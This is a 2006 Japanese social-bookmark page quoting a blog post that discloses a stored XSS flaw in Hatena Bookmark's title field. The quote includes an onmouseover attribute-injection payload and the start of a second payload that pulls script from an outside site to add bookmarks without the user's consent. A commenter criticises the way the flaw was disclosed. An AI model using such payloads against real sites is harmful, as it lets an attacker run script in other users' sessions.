2006年2月2日のブックマーク (1件)

  • はてなブックマークの超べんり機能 :: ぼくはまちちゃん!

    タイトルを↓みたいに編集すれば、ユーザーが自由にScriptつかえちゃうんだね! ぼく、ゆめがひろがりんぐです! "width=100 height=100 onmouseover=alert(String.fromCharCode(88,83,83)) ※最初にダブルクォート、最後に空白をひとついれる。 あ、人気エントリーのタイトルとか書き換えたらダメだよ…! えらいことになっちゃうかも? (追記) http://test/ ってurlのブックマークにテスト用のコードを置いてみたよ! タイトルが以下になってて hamachiya.com/h のscriptを呼び出す感じ。 (消しゴムに触れると呼び出されて、hamachiya.comをブックマークに追加してしまうという内容) "width=100 height=100 onmouseover=d=document;t=String; s=

    p-4
    p-4 2006/02/02
    事態はわかるが、中の人はスーパーマシンで自動で修正されるわけではないんだからぁ(汗) 脆弱性の発見自体は良いことだが、他社ソフトの最近事例を考えても公開までのフローと態度は問題視すべき。